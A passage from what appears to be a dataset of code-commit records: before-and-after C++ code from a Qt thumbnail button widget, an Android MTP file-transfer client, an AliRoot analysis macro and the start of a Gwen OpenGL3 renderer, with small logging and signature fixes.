max;\n\n\trepaint();\n}\n\nvoid QBouton::paintEvent(QPaintEvent *event)\n{\n\t\/\/ Used for normal buttons\n\tif (!m_resizeInsteadOfCropping && m_border == 0 && m_progressMax == 0)\n\t{\n\t\tQPushButton::paintEvent(event);\n\t\treturn;\n\t}\n\n\tQPainter painter(this);\n\tQRect region = m_smartSizeHint ? contentsRect() : event->rect();\n\tQSize iconSize = getIconSize(region.width(), region.height());\n\tint p = m_border;\n\tint x = region.x();\n\tint y = region.y();\n\tint w = iconSize.width() + 2*p;\n\tint h = iconSize.height() + 2*p;\n\n\t\/\/ Ignore invalid images\n\tif (w == 0 || h == 0)\n\t\treturn;\n\n\t\/\/ Center the image\n\tif (m_center)\n\t{\n\t\tx += (region.width() - w) \/ 2;\n\t\ty += (region.height() - h) \/ 2;\n\t}\n\n\t\/\/ Draw image\n\tQIcon::Mode mode = this->isChecked() ? QIcon::Selected : QIcon::Normal;\n\tif (w > h)\n\t{\n\t\ticon().paint(&painter, x+p, y+p, w-2*p, w-2*p, Qt::AlignLeft | Qt::AlignTop, mode);\n\t\th = h-((h*2*p)\/w)+2*p-1;\n\t}\n\telse\n\t{\n\t\ticon().paint(&painter, x+p, y+p, h-2*p, h-2*p, Qt::AlignLeft | Qt::AlignTop, mode);\n\t\tw = w-((w*2*p)\/h)+2*p-1;\n\t}\n\n\t\/\/ Clip borders overflows\n\tpainter.setClipRect(x, y, w, h);\n\n\t\/\/ Draw progress\n\tif (m_progressMax > 0 && m_progress > 0 && m_progress != m_progressMax)\n\t{\n\t\tint lineHeight = 6;\n\t\tint a = p + lineHeight\/2;\n\n\t\tfloat ratio = static_cast<float>(m_progress) \/ m_progressMax;\n\t\tQPoint p1(qMax(x, 0) + a, qMax(y, 0) + a);\n\t\tQPoint p2(qFloor(p1.x() + (iconSize.width() - a) * ratio), p1.y());\n\n\t\tif (p2.x() > p1.x())\n\t\t{\n\t\t\tQPen pen(QColor(0, 200, 0));\n\t\t\tpen.setWidth(lineHeight);\n\t\t\tpainter.setPen(pen);\n\t\t\tpainter.drawLine(p1, p2);\n\t\t}\n\t}\n\n\t\/\/ Draw borders\n\tif (p > 0 && m_penColor.isValid())\n\t{\n\t\tQPen pen(m_penColor);\n\t\tpen.setWidth(p*2);\n\t\tpainter.setPen(pen);\n\t\tpainter.drawRect(qMax(x, 0), qMax(y, 0), qMin(w, size().width()), qMin(h, size().height()));\n\t}\n}\n\nQSize QBouton::getIconSize(int regionWidth, int regionHeight, bool wOnly) const\n{\n\tint w = iconSize().width();\n\tint h = iconSize().height();\n\n\tif (wOnly && w <= regionWidth)\n\t\treturn iconSize();\n\n\t\/\/ Calculate ratio to resize by keeping proportions\n\tif (m_resizeInsteadOfCropping)\n\t{\n\t\tfloat coef = wOnly\n\t\t\t\t\t ? qMin(1.0f, static_cast<float>(regionWidth) \/ static_cast<float>(w))\n\t\t\t\t\t : qMin(1.0f, qMin(static_cast<float>(regionWidth) \/ static_cast<float>(w), static_cast<float>(regionHeight) \/ static_cast<float>(h)));\n\t\tw *= coef;\n\t\th *= coef;\n\t}\n\n\treturn QSize(w, h);\n}\n\nvoid QBouton::resizeEvent(QResizeEvent *event)\n{\n\tQPushButton::resizeEvent(event);\n\n\tif (m_smartSizeHint)\n\t\tupdateGeometry();\n}\n\nQSize QBouton::sizeHint() const\n{\n\t\/\/ Used for normal buttons\n\tif (!m_smartSizeHint || (!m_resizeInsteadOfCropping && m_border == 0))\n\t\treturn QPushButton::sizeHint();\n\n\tQSize current = size();\n\treturn getIconSize(current.width(), current.height(), true);\n}\n\nvoid QBouton::mousePressEvent(QMouseEvent *event)\n{\n\t\/\/ Ignore clicks outside the thumbnail\n\tQSize imgSize = sizeHint();\n\tQSize size = this->size();\n\tint wMargin = (size.width() - imgSize.width()) \/ 2;\n\tint hMargin = (size.height() - imgSize.height()) \/ 2;\n\tQPoint pos = event->pos();\n\tif (pos.x() < wMargin\n\t\t\t|| pos.y() < hMargin\n\t\t\t|| pos.x() > imgSize.width() + wMargin\n\t\t\t|| pos.y() > imgSize.height() + hMargin)\n\t\treturn;\n\n\tif (event->button() == Qt::LeftButton)\n\t{\n\t\tif (event->modifiers() & Qt::ControlModifier)\n\t\t{\n\t\t\tthis->toggle();\n\t\t\tbool range = event->modifiers() & Qt::ShiftModifier;\n\t\t\temit this->toggled(m_id, this->isChecked(), range);\n\t\t\temit this->toggled(m_id.toString(), this->isChecked(), range);\n\t\t\temit this->toggled(m_id.toInt(), this->isChecked(), range);\n\t\t}\n\t\telse\n\t\t{\n\t\t\temit this->appui(m_id);\n\t\t\temit this->appui(m_id.toString());\n\t\t\temit this->appui(m_id.toInt());\n\t\t}\n\t}\n\tif (event->button() == Qt::RightButton)\n\t{\n\t\temit this->rightClick(m_id);\n\t\temit this->rightClick(m_id.toString());\n\t\temit this->rightClick(m_id.toInt());\n\t}\n\tif (event->button() == Qt::MidButton)\n\t{\n\t\temit this->middleClick(m_id);\n\t\temit this->middleClick(m_id.toString());\n\t\temit this->middleClick(m_id.toInt());\n\t}\n\tevent->accept();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Android File Transfer for Linux: MTP client for android devices\n * Copyright (C) 2015  Vladimir Menshakov\n\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n *\/\n#include <mtp\/ptp\/Device.h>\n#include <mtp\/ptp\/Response.h>\n#include <mtp\/ptp\/Container.h>\n#include <mtp\/ptp\/Messages.h>\n#include <mtp\/usb\/Context.h>\n#include <mtp\/ptp\/OperationRequest.h>\n\n\nnamespace mtp\n{\n\n\tmsg::DeviceInfo Device::GetDeviceInfo()\n\t{\n\t\tOperationRequest req(OperationCode::GetDeviceInfo, 0);\n\t\tContainer container(req);\n\t\t_packeter.Write(container.Data);\n\t\tByteArray data, response;\n\t\t_packeter.Read(0, data, response);\n\t\t\/\/HexDump(\"payload\", data);\n\n\t\tInputStream stream(data, 8); \/\/operation code + session id\n\t\tmsg::DeviceInfo gdi;\n\t\tgdi.Read(stream);\n\t\treturn gdi;\n\t}\n\n\tSessionPtr Device::OpenSession(u32 sessionId)\n\t{\n\t\tOperationRequest req(OperationCode::OpenSession, 0, sessionId);\n\t\tContainer container(req);\n\t\t_packeter.Write(container.Data);\n\t\tByteArray data, response;\n\t\t_packeter.Read(0, data, response);\n\t\t\/\/HexDump(\"payload\", data);\n\n\t\treturn std::make_shared<Session>(_packeter.GetPipe(), sessionId);\n\t}\n\n\tvoid PipePacketer::Write(const ByteArray &data, int timeout)\n\t{\n\t\t\/\/HexDump(\"send\", data);\n\t\t_pipe->Write(data, timeout);\n\t}\n\n\tByteArray PipePacketer::ReadMessage(int timeout)\n\t{\n\t\tByteArray result;\n\t\tu32 size = ~0u;\n\t\tsize_t offset = 0;\n\t\tsize_t packet_offset;\n\t\twhile(true)\n\t\t{\n\t\t\tByteArray data = _pipe->Read(timeout);\n\t\t\tif (size == ~0u)\n\t\t\t{\n\t\t\t\tInputStream stream(data);\n\t\t\t\tstream >> size;\n\t\t\t\t\/\/fprintf(stderr, \"DATA SIZE = %u\\n\", size);\n\t\t\t\tif (size < 4)\n\t\t\t\t\tthrow std::runtime_error(\"invalid size\");\n\t\t\t\tpacket_offset = 4;\n\t\t\t\tresult.resize(size - 4);\n\t\t\t}\n\t\t\telse\n\t\t\t\tpacket_offset = 0;\n\t\t\t\/\/HexDump(\"recv\", data);\n\n\t\t\tsize_t src_n = std::min(data.size() - packet_offset, result.size() - offset);\n\t\t\tstd::copy(data.begin() + packet_offset, data.begin() + packet_offset + src_n, result.begin() + offset);\n\t\t\toffset += data.size();\n\t\t\tif (offset >= result.size())\n\t\t\t\tbreak;\n\t\t}\n\t\treturn result;\n\n\t}\n\n\tvoid PipePacketer::PollEvent()\n\t{\n\t\tByteArray interruptData = _pipe->ReadInterrupt();\n\t\tif (interruptData.empty())\n\t\t\treturn;\n\n\t\tHexDump(\"interrupt\", interruptData);\n\t\tInputStream stream(interruptData);\n\t\tContainerType containerType;\n\t\tu32 size;\n\t\tu16 eventCode;\n\t\tu32 sessionId;\n\t\tu32 transactionId;\n\t\tstream >> size;\n\t\tstream >> containerType;\n\t\tstream >> eventCode;\n\t\tstream >> sessionId;\n\t\tstream >> transactionId;\n\t\tif (containerType != ContainerType::Event)\n\t\t\tthrow std::runtime_error(\"not an event\");\n\t\tfprintf(stderr, \"event %04x\\n\", eventCode);\n\t}\n\n\n\tvoid PipePacketer::Read(u32 transaction, ByteArray &data, ByteArray &response, int timeout)\n\t{\n\t\ttry\n\t\t{ PollEvent(); }\n\t\tcatch(const std::exception &ex)\n\t\t{ fprintf(stderr, \"exception in interrupt: %s\\n\", ex.what()); }\n\n\t\tdata.clear();\n\t\tresponse.clear();\n\n\t\tByteArray message;\n\t\tResponse header;\n\t\twhile(true)\n\t\t{\n\t\t\tmessage = ReadMessage(timeout);\n\t\t\t\/\/HexDump(\"message\", message);\n\t\t\tInputStream stream(message);\n\t\t\theader.Read(stream);\n\t\t\tif (header.Transaction == transaction)\n\t\t\t\tbreak;\n\n\t\t\tfprintf(stderr, \"drop message %04x %04x, transaction %08x\\n\", header.ContainerType, header.ResponseType, header.Transaction);\n\t\t}\n\n\t\tif (header.ContainerType == ContainerType::Data)\n\t\t{\n\t\t\tdata = std::move(message);\n\t\t\tresponse = ReadMessage(timeout);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tresponse = std::move(message);\n\t\t}\n\n\t\t\/\/HexDump(\"response\", response);\n\t}\n\n\tDevicePtr Device::Find()\n\t{\n\t\tusing namespace mtp;\n\t\tusb::ContextPtr ctx(new usb::Context);\n\n\t\tfor (usb::DeviceDescriptorPtr desc : ctx->GetDevices())\n\t\t{\n\t\t\tusb::DevicePtr device = desc->TryOpen(ctx);\n\t\t\tif (!device)\n\t\t\t\tcontinue;\n\t\t\tint confs = desc->GetConfigurationsCount();\n\t\t\t\/\/fprintf(stderr, \"configurations: %d\\n\", confs);\n\n\t\t\tfor(int i = 0; i < confs; ++i)\n\t\t\t{\n\t\t\t\tusb::ConfigurationPtr conf = desc->GetConfiguration(i);\n\t\t\t\tint interfaces = conf->GetInterfaceCount();\n\t\t\t\t\/\/fprintf(stderr, \"interfaces: %d\\n\", interfaces);\n\t\t\t\tfor(int j = 0; j < interfaces; ++j)\n\t\t\t\t{\n\t\t\t\t\tusb::InterfacePtr iface = conf->GetInterface(conf, j, 0);\n\t\t\t\t\t\/\/fprintf(stderr, \"%d:%d index %u, eps %u\\n\", i, j, iface->GetIndex(), iface->GetEndpointsCount());\n\t\t\t\t\tint name_idx = iface->GetNameIndex();\n\t\t\t\t\tif (name_idx)\n\t\t\t\t\t{\n\t\t\t\t\t\tstd::string name = device->GetString(name_idx);\n\t\t\t\t\t\tif (name == \"MTP\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\/\/device->SetConfiguration(configuration->GetIndex());\n\t\t\t\t\t\t\tusb::BulkPipePtr pipe = usb::BulkPipe::Create(device, conf, iface);\n\t\t\t\t\t\t\treturn std::make_shared<Device>(pipe);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (iface->GetClass() == 6 && iface->GetSubclass() == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tusb::BulkPipePtr pipe = usb::BulkPipe::Create(device, conf, iface);\n\t\t\t\t\t\treturn std::make_shared<Device>(pipe);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn nullptr;\n\t}\n\n}\n<commit_msg>added expected transaction to logs<commit_after>\/*\n * Android File Transfer for Linux: MTP client for android devices\n * Copyright (C) 2015  Vladimir Menshakov\n\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n *\/\n#include <mtp\/ptp\/Device.h>\n#include <mtp\/ptp\/Response.h>\n#include <mtp\/ptp\/Container.h>\n#include <mtp\/ptp\/Messages.h>\n#include <mtp\/usb\/Context.h>\n#include <mtp\/ptp\/OperationRequest.h>\n\n\nnamespace mtp\n{\n\n\tmsg::DeviceInfo Device::GetDeviceInfo()\n\t{\n\t\tOperationRequest req(OperationCode::GetDeviceInfo, 0);\n\t\tContainer container(req);\n\t\t_packeter.Write(container.Data);\n\t\tByteArray data, response;\n\t\t_packeter.Read(0, data, response);\n\t\t\/\/HexDump(\"payload\", data);\n\n\t\tInputStream stream(data, 8); \/\/operation code + session id\n\t\tmsg::DeviceInfo gdi;\n\t\tgdi.Read(stream);\n\t\treturn gdi;\n\t}\n\n\tSessionPtr Device::OpenSession(u32 sessionId)\n\t{\n\t\tOperationRequest req(OperationCode::OpenSession, 0, sessionId);\n\t\tContainer container(req);\n\t\t_packeter.Write(container.Data);\n\t\tByteArray data, response;\n\t\t_packeter.Read(0, data, response);\n\t\t\/\/HexDump(\"payload\", data);\n\n\t\treturn std::make_shared<Session>(_packeter.GetPipe(), sessionId);\n\t}\n\n\tvoid PipePacketer::Write(const ByteArray &data, int timeout)\n\t{\n\t\t\/\/HexDump(\"send\", data);\n\t\t_pipe->Write(data, timeout);\n\t}\n\n\tByteArray PipePacketer::ReadMessage(int timeout)\n\t{\n\t\tByteArray result;\n\t\tu32 size = ~0u;\n\t\tsize_t offset = 0;\n\t\tsize_t packet_offset;\n\t\twhile(true)\n\t\t{\n\t\t\tByteArray data = _pipe->Read(timeout);\n\t\t\tif (size == ~0u)\n\t\t\t{\n\t\t\t\tInputStream stream(data);\n\t\t\t\tstream >> size;\n\t\t\t\t\/\/fprintf(stderr, \"DATA SIZE = %u\\n\", size);\n\t\t\t\tif (size < 4)\n\t\t\t\t\tthrow std::runtime_error(\"invalid size\");\n\t\t\t\tpacket_offset = 4;\n\t\t\t\tresult.resize(size - 4);\n\t\t\t}\n\t\t\telse\n\t\t\t\tpacket_offset = 0;\n\t\t\t\/\/HexDump(\"recv\", data);\n\n\t\t\tsize_t src_n = std::min(data.size() - packet_offset, result.size() - offset);\n\t\t\tstd::copy(data.begin() + packet_offset, data.begin() + packet_offset + src_n, result.begin() + offset);\n\t\t\toffset += data.size();\n\t\t\tif (offset >= result.size())\n\t\t\t\tbreak;\n\t\t}\n\t\treturn result;\n\n\t}\n\n\tvoid PipePacketer::PollEvent()\n\t{\n\t\tByteArray interruptData = _pipe->ReadInterrupt();\n\t\tif (interruptData.empty())\n\t\t\treturn;\n\n\t\tHexDump(\"interrupt\", interruptData);\n\t\tInputStream stream(interruptData);\n\t\tContainerType containerType;\n\t\tu32 size;\n\t\tu16 eventCode;\n\t\tu32 sessionId;\n\t\tu32 transactionId;\n\t\tstream >> size;\n\t\tstream >> containerType;\n\t\tstream >> eventCode;\n\t\tstream >> sessionId;\n\t\tstream >> transactionId;\n\t\tif (containerType != ContainerType::Event)\n\t\t\tthrow std::runtime_error(\"not an event\");\n\t\tfprintf(stderr, \"event %04x\\n\", eventCode);\n\t}\n\n\n\tvoid PipePacketer::Read(u32 transaction, ByteArray &data, ByteArray &response, int timeout)\n\t{\n\t\ttry\n\t\t{ PollEvent(); }\n\t\tcatch(const std::exception &ex)\n\t\t{ fprintf(stderr, \"exception in interrupt: %s\\n\", ex.what()); }\n\n\t\tdata.clear();\n\t\tresponse.clear();\n\n\t\tByteArray message;\n\t\tResponse header;\n\t\twhile(true)\n\t\t{\n\t\t\tmessage = ReadMessage(timeout);\n\t\t\t\/\/HexDump(\"message\", message);\n\t\t\tInputStream stream(message);\n\t\t\theader.Read(stream);\n\t\t\tif (header.Transaction == transaction)\n\t\t\t\tbreak;\n\n\t\t\tfprintf(stderr, \"drop message %04x %04x, transaction %08x, expected: %08x\\n\", header.ContainerType, header.ResponseType, header.Transaction, transaction);\n\t\t}\n\n\t\tif (header.ContainerType == ContainerType::Data)\n\t\t{\n\t\t\tdata = std::move(message);\n\t\t\tresponse = ReadMessage(timeout);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tresponse = std::move(message);\n\t\t}\n\n\t\t\/\/HexDump(\"response\", response);\n\t}\n\n\tDevicePtr Device::Find()\n\t{\n\t\tusing namespace mtp;\n\t\tusb::ContextPtr ctx(new usb::Context);\n\n\t\tfor (usb::DeviceDescriptorPtr desc : ctx->GetDevices())\n\t\t{\n\t\t\tusb::DevicePtr device = desc->TryOpen(ctx);\n\t\t\tif (!device)\n\t\t\t\tcontinue;\n\t\t\tint confs = desc->GetConfigurationsCount();\n\t\t\t\/\/fprintf(stderr, \"configurations: %d\\n\", confs);\n\n\t\t\tfor(int i = 0; i < confs; ++i)\n\t\t\t{\n\t\t\t\tusb::ConfigurationPtr conf = desc->GetConfiguration(i);\n\t\t\t\tint interfaces = conf->GetInterfaceCount();\n\t\t\t\t\/\/fprintf(stderr, \"interfaces: %d\\n\", interfaces);\n\t\t\t\tfor(int j = 0; j < interfaces; ++j)\n\t\t\t\t{\n\t\t\t\t\tusb::InterfacePtr iface = conf->GetInterface(conf, j, 0);\n\t\t\t\t\t\/\/fprintf(stderr, \"%d:%d index %u, eps %u\\n\", i, j, iface->GetIndex(), iface->GetEndpointsCount());\n\t\t\t\t\tint name_idx = iface->GetNameIndex();\n\t\t\t\t\tif (name_idx)\n\t\t\t\t\t{\n\t\t\t\t\t\tstd::string name = device->GetString(name_idx);\n\t\t\t\t\t\tif (name == \"MTP\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\/\/device->SetConfiguration(configuration->GetIndex());\n\t\t\t\t\t\t\tusb::BulkPipePtr pipe = usb::BulkPipe::Create(device, conf, iface);\n\t\t\t\t\t\t\treturn std::make_shared<Device>(pipe);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (iface->GetClass() == 6 && iface->GetSubclass() == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tusb::BulkPipePtr pipe = usb::BulkPipe::Create(device, conf, iface);\n\t\t\t\t\t\treturn std::make_shared<Device>(pipe);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn nullptr;\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>scale columns ported to SSSE3 BUG=208 TESTED=runyuv Scale*640* Review URL: https:\/\/webrtc-codereview.appspot.com\/1292004<commit_after><|endoftext|>"}
{"text":"<commit_before>#if ! defined (__CINT__) || defined (__MAKECINT__)\n#include <TTree.h>\n#include <TError.h>\n#include <AliLog.h>\n#include <AliAnalysisManager.h>\n#include <AliAnalysisDataContainer.h>\n#include <AliMESbaseTask.h>\n#include <AliMEStenderV2.h>\n#endif\n\nAliMEStenderV2 *AddMEStenderV2(Bool_t mc, Int_t configuration = 1, const AliVEvent *event)\n{\n  AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n\n  AliMEStenderV2 *tender = new AliMEStenderV2((char*)\"MEStenderV2\");\n  mgr->AddTask(tender);\n\n  \/\/ task set-up\n  tender->SetMCdata(mc);\n  tender->SetDebugLevel(1);\n\tswitch (configuration) {\n\t\tcase 0:\n\t \t\ttender->ConfigTask( AliMEStenderV2::AliMESconfigTender::k7TeV,      \/\/ event cuts\n\t\t\t\t\t  AliMEStenderV2::AliMESconfigTender::kStandardITSTPCTrackCuts2010, \/\/ track cuts\n\t\t\t\t\t  AliMEStenderV2::AliMESconfigTender::kIterative);                  \/\/ PID priors\n  \t\tbreak;\n\t\tcase 1:\n\t\t\ttender->ConfigTask( AliMEStenderV2::AliMESconfigTender::k13TeV,       \/\/ event cuts\n\t\t\t\t\tAliMEStenderV2::AliMESconfigTender::kStandardITSTPCTrackCuts2011, \/\/ track cuts\n\t\t\t\t\tAliMEStenderV2::AliMESconfigTender::kTPC);                  \/\/ PID priors\n\t\t\tbreak;\n\t\tdefault: printf(\"Configuration not defined\\n\");\n\t\t\tbreak;\n\t}\n\ttender->SetPriors();  \/\/ always call this after ConfigTask !!\n\n  \/\/ connect input\n  mgr->ConnectInput (tender, 0, mgr->GetCommonInputContainer());\n\n  \/\/ create output containers\n  AliAnalysisDataContainer *co[AliMESbaseTask::kNcontainers] = {NULL};\n  co[0]                          = mgr->CreateContainer(\"tenderQA\", TList::Class(), AliAnalysisManager::kOutputContainer, Form(\"%s:MES\", mgr->GetCommonFileName()));\n  co[AliMESbaseTask::kEventInfo] = mgr->CreateContainer(\"MESeventInfo\", AliMESeventInfo::Class(), AliAnalysisManager::kExchangeContainer);\n  co[AliMESbaseTask::kTracks]    = mgr->CreateContainer(\"MEStracks\", TObjArray::Class(), AliAnalysisManager::kExchangeContainer);\n  if(mc){\n\t  co[AliMESbaseTask::kMCeventInfo] = mgr->CreateContainer(\"MESMCeventInfo\", AliMESeventInfo::Class(), AliAnalysisManager::kExchangeContainer);\n\t  co[AliMESbaseTask::kMCtracks]    = mgr->CreateContainer(\"MESMCtracks\", TObjArray::Class(), AliAnalysisManager::kExchangeContainer);\n  }\n\n  \/\/ connect output\n  for(Int_t ios(0);ios<AliMESbaseTask::kNcontainers;ios++)\n\t  if(co[ios]) mgr->ConnectOutput(tender, ios+1, co[ios]);\n\n\n  return tender;\n\n}\n\n<commit_msg>fix for train test<commit_after>#if ! defined (__CINT__) || defined (__MAKECINT__)\n#include <TTree.h>\n#include <TError.h>\n#include <AliLog.h>\n#include <AliAnalysisManager.h>\n#include <AliAnalysisDataContainer.h>\n#include <AliMESbaseTask.h>\n#include <AliMEStenderV2.h>\n#endif\n\nAliMEStenderV2 *AddMEStenderV2(Bool_t mc, Int_t configuration = 1)\n{\n  AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n\n  AliMEStenderV2 *tender = new AliMEStenderV2((char*)\"MEStenderV2\");\n  mgr->AddTask(tender);\n\n  \/\/ task set-up\n  tender->SetMCdata(mc);\n  tender->SetDebugLevel(1);\n\tswitch (configuration) {\n\t\tcase 0:\n\t \t\ttender->ConfigTask( AliMEStenderV2::AliMESconfigTender::k7TeV,      \/\/ event cuts\n\t\t\t\t\t  AliMEStenderV2::AliMESconfigTender::kStandardITSTPCTrackCuts2010, \/\/ track cuts\n\t\t\t\t\t  AliMEStenderV2::AliMESconfigTender::kIterative);                  \/\/ PID priors\n  \t\tbreak;\n\t\tcase 1:\n\t\t\ttender->ConfigTask( AliMEStenderV2::AliMESconfigTender::k13TeV,       \/\/ event cuts\n\t\t\t\t\tAliMEStenderV2::AliMESconfigTender::kStandardITSTPCTrackCuts2011, \/\/ track cuts\n\t\t\t\t\tAliMEStenderV2::AliMESconfigTender::kIterative);                  \/\/ PID priors\n\t\t\tbreak;\n\t\tdefault: printf(\"Configuration not defined\\n\");\n\t\t\tbreak;\n\t}\n\ttender->SetPriors();  \/\/ always call this after ConfigTask !!\n\n  \/\/ connect input\n  mgr->ConnectInput (tender, 0, mgr->GetCommonInputContainer());\n\n  \/\/ create output containers\n  AliAnalysisDataContainer *co[AliMESbaseTask::kNcontainers] = {NULL};\n  co[0]                          = mgr->CreateContainer(\"tenderQA\", TList::Class(), AliAnalysisManager::kOutputContainer, Form(\"%s:MES\", mgr->GetCommonFileName()));\n  co[AliMESbaseTask::kEventInfo] = mgr->CreateContainer(\"MESeventInfo\", AliMESeventInfo::Class(), AliAnalysisManager::kExchangeContainer);\n  co[AliMESbaseTask::kTracks]    = mgr->CreateContainer(\"MEStracks\", TObjArray::Class(), AliAnalysisManager::kExchangeContainer);\n  if(mc){\n\t  co[AliMESbaseTask::kMCeventInfo] = mgr->CreateContainer(\"MESMCeventInfo\", AliMESeventInfo::Class(), AliAnalysisManager::kExchangeContainer);\n\t  co[AliMESbaseTask::kMCtracks]    = mgr->CreateContainer(\"MESMCtracks\", TObjArray::Class(), AliAnalysisManager::kExchangeContainer);\n  }\n\n  \/\/ connect output\n  for(Int_t ios(0);ios<AliMESbaseTask::kNcontainers;ios++)\n\t  if(co[ios]) mgr->ConnectOutput(tender, ios+1, co[ios]);\n\n\n  return tender;\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\r\n#include <ionConfig.h>\r\n\r\n#ifdef _ION_CONFIG_USE_GWEN\r\n\r\n#include \"OpenGL3.h\"\r\n\r\n#include <glm\/glm.hpp>\r\n#include <glm\/gtc\/matrix_transform.hpp>\r\n#include <glm\/gtc\/swizzle.hpp>\r\n\r\n\r\nnamespace Gwen\r\n{\r\n\tnamespace Renderer\r\n\t{\r\n\t\tusing namespace ion::GL;\r\n\r\n\t\tOpenGL3::OpenGL3(vec2i const & screenSize)\r\n\t\t\t: Shader(0),\r\n\t\t\tm_currentQuadCount(0),\r\n\t\t\tScreenSize(screenSize),\r\n\t\t\tm_maxSpriteCount(2)\r\n\t\t{\r\n\t\t\tInit();\r\n\t\t}\r\n\r\n\t\tOpenGL3::~OpenGL3()\r\n\t\t{\r\n\t\t\tglDeleteBuffers(1, &m_vbo);\r\n\t\t\tglDeleteBuffers(1, &m_ebo);\r\n\r\n\t\t\tglDeleteVertexArrays(1, &m_vao);\r\n\r\n\t\t\tdelete Shader;\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::Init()\r\n\t\t{\r\n\t\t\tstatic string const VertexShaderSource = R\"SHADER(\r\n\t\t\t\t#version 330\r\n\r\n\t\t\t\tuniform mat4 mvp;\r\n\r\n\t\t\t\tin vec2 position;\r\n\t\t\t\tin vec2 texcoord;\r\n\t\t\t\tin vec4 color;\r\n\r\n\t\t\t\tout vec2 TextureCoordinates;\r\n\t\t\t\tout vec4 Color;\r\n\r\n\t\t\t\tvoid main()\r\n\t\t\t\t{\r\n\t\t\t\t\tgl_Position = mvp * vec4(position, 0.0, 1.0);\r\n\t\t\t\t\tTextureCoordinates = texcoord;\r\n\t\t\t\t\tColor = color;\r\n\t\t\t\t}\r\n\t\t\t)SHADER\";\r\n\r\n\t\t\tstatic string const FragmentShaderSource = R\"SHADER(\r\n\t\t\t\t#version 330\r\n\r\n\t\t\t\tuniform sampler2D tex;\r\n\r\n\t\t\t\tin vec2 TextureCoordinates;\r\n\t\t\t\tin vec4 Color;\r\n\r\n\t\t\t\tout vec4 FragColor;\r\n\r\n\t\t\t\tvoid main()\r\n\t\t\t\t{\r\n\t\t\t\t\tFragColor = Color * texture2D(tex, TextureCoordinates);\r\n\t\t\t\t}\r\n\t\t\t)SHADER\";\r\n\r\n\t\t\tVertexShader * vert = new VertexShader;\r\n\t\t\tvert->Source(VertexShaderSource);\r\n\t\t\tif (! vert->Compile())\r\n\t\t\t\tstd::cerr << \"Failed to compile vertex shader!\" << std::endl << vert->InfoLog() << std::endl;\r\n\r\n\t\t\tFragmentShader * frag = new FragmentShader;\r\n\t\t\tfrag->Source(FragmentShaderSource);\r\n\t\t\tif (! frag->Compile())\r\n\t\t\t\tstd::cerr << \"Failed to compile vertex shader!\" << std::endl << frag->InfoLog() << std::endl;\r\n\r\n\t\t\tShader = new Program;\r\n\t\t\tShader->AttachShader(vert);\r\n\t\t\tShader->AttachShader(frag);\r\n\t\t\tShader->Link();\r\n\t\t\tShader->BindAttributeLocation(0, \"position\");\r\n\t\t\tShader->BindAttributeLocation(1, \"texcoord\");\r\n\t\t\tShader->BindAttributeLocation(2, \"color\");\r\n\r\n\r\n\r\n\t\t\tinitGL();\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\tglGenTextures(1, & m_whiteTexture);\r\n\t\t\tglActiveTexture(GL_TEXTURE0);\r\n\t\t\tglBindTexture(GL_TEXTURE_2D, m_whiteTexture);\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\r\n\t\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\t\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\t\t\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\r\n\t\t\tGLubyte image[] = {255, 255, 255, 255};\r\n\r\n\t\t\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA8, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, image);\r\n\t\t}\r\n\r\n\t\tvoid OpenGL3::initGL()\r\n\t\t{\r\n\t\t\tglGenVertexArrays(1, & m_vao);\r\n\t\t\tglBindVertexArray(m_vao);\r\n\r\n\t\t\tglGenBuffers(1, & m_vbo);\r\n\t\t\tglBindBuffer(GL_ARRAY_BUFFER, m_vbo);\r\n\t\t\tglBufferData(GL_ARRAY_BUFFER, m_maxSpriteCount * 4 * sizeof(Vertex), NULL, GL_DYNAMIC_DRAW);\r\n\r\n\t\t\tcheckGLError();\r\n\r\n\r\n\t\t\tstd::vector<u32> indicesv;\r\n\t\t\tconst u32 indices[] = {0, 1, 2, 0, 2, 3};\r\n\t\t\tfor (int j = 0; j < m_maxSpriteCount; 